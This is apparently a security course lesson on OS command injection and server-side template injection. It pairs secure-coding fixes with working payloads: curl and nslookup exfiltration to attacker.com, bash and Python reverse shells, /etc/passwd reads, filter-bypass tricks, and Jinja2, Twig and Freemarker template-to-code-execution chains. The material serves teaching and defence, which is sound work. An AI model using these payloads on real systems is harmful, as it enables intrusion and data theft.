Command Injection & Server-Side Template Injection (SSTI)
Exploit OS command injection to achieve remote code execution, and Server-Side Template Injection (SSTI) in Jinja2, Twig, and Freemarker to escape sandboxes and execute arbitrary code.
Learning Objectives
- → Exploit OS command injection via shell metacharacters
- → Bypass command injection filters using encoding and alternatives
- → Identify SSTI in Jinja2, Twig, and Freemarker templates
- → Escalate SSTI from simple reflection to RCE by navigating Python/Java object hierarchies
- → Implement parameterized subprocess calls and template sandboxing
OS Command Injection
What is Command Injection?
User input concatenated into OS commands executed by the server:
# VULNERABLE
import os
domain = request.GET.get("domain")
result = os.popen(f"ping -c 1 {domain}").read()
# Inject: domain = "google.com; cat /etc/passwd"
# Executes: ping -c 1 google.com; cat /etc/passwd
Shell Metacharacters
; command separator — cmd1; cmd2 (always executes cmd2)
&& AND — cmd1 && cmd2 (executes cmd2 only if cmd1 succeeds)
|| OR — cmd1 || cmd2 (executes cmd2 only if cmd1 fails)
| pipe — cmd1 | cmd2 (stdout of cmd1 → stdin of cmd2)
` backtick — `cmd` (inline execution)
$() subshell — $(cmd) (inline execution)
\n newline — cmd1\ncmd2 (executes both on some systems)
> redirect — > /etc/crontab (overwrite file)
Command Injection Payloads
# Test (blind: no output)
google.com; sleep 5 # time delay confirms injection
google.com `sleep 5`
google.com && sleep 5
# Exfiltrate output (OOB)
google.com; curl http://attacker.com/$(whoami)
google.com; nslookup $(cat /etc/passwd | head -1).attacker.com
# Reverse shell
google.com; bash -i >& /dev/tcp/attacker.com/4444 0>&1
google.com; python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("attacker.com",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
Filter Bypass
# Space filtered:
cat${IFS}/etc/passwd # $IFS = Internal Field Separator = space
cat</etc/passwd # redirect as input
{cat,/etc/passwd} # brace expansion
# Slash filtered (not very common):
cat${HOME:0:1}etc${HOME:0:1}passwd # ${HOME:0:1} = /
# Keyword filtered:
ca${Z}t /etc/passwd # $Z is empty — resolves to cat
c'a't /etc/passwd # quotes break keyword detection
# Encoding:
echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash
# (Y2F0... is base64 of "cat /etc/passwd")
# Alternative tools:
less, more, head, tail, nl, od, xxd # instead of cat
Secure Implementation
# SAFE: use subprocess with list (never shell=True with user input)
import subprocess
# DANGEROUS — don't do this:
subprocess.run(f"ping -c 1 {domain}", shell=True)
# SAFE — argument list, no shell:
result = subprocess.run(
["ping", "-c", "1", domain], # domain is a single argument
capture_output=True, text=True, timeout=5
)
# If shell is needed:
import shlex
safe_domain = shlex.quote(domain) # escapes shell special chars
subprocess.run(f"ping -c 1 {safe_domain}", shell=True)
# Validate input first:
import re
if not re.match(r'^[a-zA-Z0-9.\-]+$', domain):
raise ValueError("Invalid domain")
Server-Side Template Injection (SSTI)
What is SSTI?
User input rendered as a template expression — executed server-side:
# Vulnerable Flask/Jinja2:
from flask import Flask, render_template_string, request
app = Flask(__name__)
@app.route("/greet")
def greet():
name = request.args.get("name", "")
return render_template_string(f"Hello {name}!") # SSTI!
# Inject: name = {{7*7}}
# Response: Hello 49! (template engine evaluated 7*7)
SSTI Detection
{{7*7}} → 49 (Jinja2, Twig)
${7*7} → 49 (Freemarker, some others)
<%= 7*7 %> → 49 (ERB/Ruby)
#{7*7} → 49 (Smarty)
{{7*'7'}} → 7777777 (Jinja2 — multiplies string 7 times)
→ 49 (Twig — treats as multiplication)
Use the above to fingerprint the template engine.
Jinja2 SSTI — Escalation to RCE
# Step 1: verify SSTI
{{7*7}} → 49
# Step 2: navigate Python object hierarchy to reach subprocess
# Everything in Python is an object — find 'object' base class:
{{''.__class__}} → <class 'str'>
{{''.__class__.__mro__}} → (<class 'str'>, <class 'object'>)
{{''.__class__.__mro__[1]}} → <class 'object'>
# Step 3: find all subclasses of object (one contains subprocess.Popen):
{{''.__class__.__mro__[1].__subclasses__()}}
# → [<class 'type'>, <class 'weakref'>, ..., <class 'subprocess.Popen'>, ...]
# Step 4: find index of subprocess.Popen (index varies by Python version)
# Search the list for 'Popen':
{{''.__class__.__mro__[1].__subclasses__()|select('equalto', 'subprocess.Popen')|list}}
# Step 5: call Popen to execute command
{{''.__class__.__mro__[1].__subclasses__()[POPEN_INDEX](['id'],stdout=-1).communicate()}}
# Shortcut (Python 3):
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
# Or via builtins:
{{''.__class__.__mro__[1].__subclasses__()[POPEN_INDEX](
'cat /etc/passwd', shell=True, stdout=-1).communicate()[0].decode()}}
Twig SSTI (PHP)
{{7*7}} → 49
{{_self}} → Twig environment object
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
Freemarker SSTI (Java)
${7*7}
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
SSTI Defense
# 1. NEVER render user input as a template:
# BAD:
render_template_string(f"Hello {name}")
# GOOD — pass as variable:
render_template_string("Hello {{ name }}", name=name)
# 2. Use sandboxed environment (Jinja2):
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
template = env.from_string("Hello {{ name }}")
result = template.render(name=name)
# 3. Validate/sanitize input if templating with user data
# 4. Principle of least privilege for web process
On a Flask app with a ping endpoint (/ping?host=): (1) inject ; id to verify execution, (2) use time-based: ; sleep 5 to confirm blind injection, (3) exfiltrate /etc/passwd via curl to your listener, (4) attempt reverse shell with bash -i, (5) fix: use subprocess(['ping', '-c', '1', host]) without shell=True.
Why is subprocess.run(['cmd', arg], shell=False) safe from injection?
What is the $IFS variable used for in filter bypass?
On a Flask app with render_template_string(f'Hello {name}'): (1) confirm SSTI with {{77}}, (2) navigate the object hierarchy to find subprocess.Popen, (3) execute 'id' and return the output, (4) read /etc/passwd, (5) fix: change to render_template_string('Hello {{ name }}', name=name) and verify {{77}} now returns literally {{7*7}}.
What Python method returns all subclasses of a class?
What does __mro__ stand for and why is it used in SSTI?
Research and document SSTI payloads for three template engines: (1) Jinja2 SandboxedEnvironment — test if it blocks class access, (2) Twig PHP — test _self.env exploit, (3) ERB Ruby — test <%= %> execution. For each: document the detection payload, the sandbox behavior, and whether RCE is achievable. Use HackTricks SSTI guide.
What is a sandbox escape in SSTI context?